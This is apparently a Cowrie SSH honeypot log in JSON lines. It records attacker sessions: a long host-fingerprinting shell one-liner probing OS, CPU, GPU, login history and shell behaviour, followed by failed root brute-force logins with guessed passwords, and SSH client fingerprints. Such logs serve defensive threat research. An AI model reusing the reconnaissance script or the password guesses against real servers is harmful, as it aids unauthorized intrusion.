{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:21:02.932954Z","src_ip":"91.92.40.176","session":"1fa1774f5e33","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:21:02.935508Z","src_ip":"91.92.40.176","session":"1fa1774f5e33","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:21:02.937338Z","src_ip":"91.92.40.176","session":"1fa1774f5e33","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:21:02.938869Z","src_ip":"91.92.40.176","session":"1fa1774f5e33","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:21:02.942008Z","src_ip":"91.92.40.176","session":"1fa1774f5e33","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:21:02.944278Z","src_ip":"91.92.40.176","session":"1fa1774f5e33","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:21:02.946648Z","src_ip":"91.92.40.176","session":"1fa1774f5e33","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:21:02.949975Z","src_ip":"91.92.40.176","session":"1fa1774f5e33","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:21:02.953374Z","src_ip":"91.92.40.176","session":"1fa1774f5e33","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:21:02.956399Z","src_ip":"91.92.40.176","session":"1fa1774f5e33","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:21:03.268511Z","src_ip":"91.92.40.176","session":"1fa1774f5e33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:21:03.575421Z","src_ip":"91.92.40.176","session":"1fa1774f5e33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":58868,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5296f9c616f","protocol":"ssh","message":"New connection: 194.59.206.2:58868 (159.203.135.109:22) [session: a5296f9c616f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:22:01.051479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:22:01.054862Z","src_ip":"194.59.206.2","session":"a5296f9c616f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:22:01.146900Z","src_ip":"194.59.206.2","session":"a5296f9c616f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:22:01.243482Z","src_ip":"194.59.206.2","session":"a5296f9c616f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.76.134.52","src_port":46798,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb4eb5b49a4a","protocol":"ssh","message":"New connection: 177.76.134.52:46798 (10.17.0.5:22) [session: bb4eb5b49a4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:22:33.193150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:22:33.196950Z","src_ip":"177.76.134.52","session":"bb4eb5b49a4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:22:33.359926Z","src_ip":"177.76.134.52","session":"bb4eb5b49a4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hello1234@","message":"login attempt [root/Hello1234@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:22:33.928530Z","src_ip":"177.76.134.52","session":"bb4eb5b49a4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:22:35.066399Z","src_ip":"177.76.134.52","session":"bb4eb5b49a4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":52746,"dst_ip":"159.203.135.109","dst_port":22,"session":"33a1cd13ba19","protocol":"ssh","message":"New connection: 159.65.58.200:52746 (159.203.135.109:22) [session: 33a1cd13ba19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:22:35.090488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:22:35.302930Z","src_ip":"159.65.58.200","session":"33a1cd13ba19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:22:35.306062Z","src_ip":"159.65.58.200","session":"33a1cd13ba19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"suvorov","password":"123456","message":"login attempt [suvorov/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:22:36.488717Z","src_ip":"159.65.58.200","session":"33a1cd13ba19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:22:37.913300Z","src_ip":"159.65.58.200","session":"33a1cd13ba19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.244.109","src_port":38084,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e9077cbaedb","protocol":"ssh","message":"New connection: 192.169.244.109:38084 (10.17.0.5:22) [session: 7e9077cbaedb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:22:41.601933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:22:41.605758Z","src_ip":"192.169.244.109","session":"7e9077cbaedb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:22:41.722955Z","src_ip":"192.169.244.109","session":"7e9077cbaedb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ethereum456","message":"login attempt [root/ethereum456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:22:42.019909Z","src_ip":"192.169.244.109","session":"7e9077cbaedb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:22:43.088336Z","src_ip":"192.169.244.109","session":"7e9077cbaedb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.249.148","src_port":50226,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d094f59aa60","protocol":"ssh","message":"New connection: 192.169.249.148:50226 (10.17.0.5:22) [session: 1d094f59aa60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:23:07.067412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:23:07.070843Z","src_ip":"192.169.249.148","session":"1d094f59aa60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:23:07.135359Z","src_ip":"192.169.249.148","session":"1d094f59aa60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"exodus2024","message":"login attempt [root/exodus2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:23:07.362287Z","src_ip":"192.169.249.148","session":"1d094f59aa60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:23:08.429727Z","src_ip":"192.169.249.148","session":"1d094f59aa60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":51248,"dst_ip":"10.17.0.5","dst_port":22,"session":"f281eba7dc13","protocol":"ssh","message":"New connection: 91.92.40.176:51248 (10.17.0.5:22) [session: f281eba7dc13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:23:20.877651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:23:21.097698Z","src_ip":"91.92.40.176","session":"f281eba7dc13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:23:21.100793Z","src_ip":"91.92.40.176","session":"f281eba7dc13","protocol":"ssh"}
